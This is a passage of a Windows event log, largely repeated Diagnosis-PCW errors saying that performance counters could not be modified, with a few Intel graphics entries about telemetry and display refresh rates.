\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.622\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.639\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.639\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.639\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.639\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"App_Extension\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Entered\",\"value\":\"PerformanceMetrics\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.640\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.640\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.641\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.641\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.641\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.641\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.650\t2\t{\"category\":\"WindowsDisplayManagerWrapper\",\"level\":\"Information\",\"message\":\"GetMonitorName 8388688: \"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.656\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.656\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.656\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.656\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.657\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.658\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.658\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.658\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.658\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.666\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"Maximum display vrr range\",\"parameters\":{\"minVrrRefreshRate\":24,\"maxVrrRefreshRate\":120}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.669\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"Current Display vrr range\",\"parameters\":{\"minVrrRefreshRate\":30,\"maxVrrRefreshRate\":120}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.674\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.674\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.674\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.674\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.674\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.675\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is 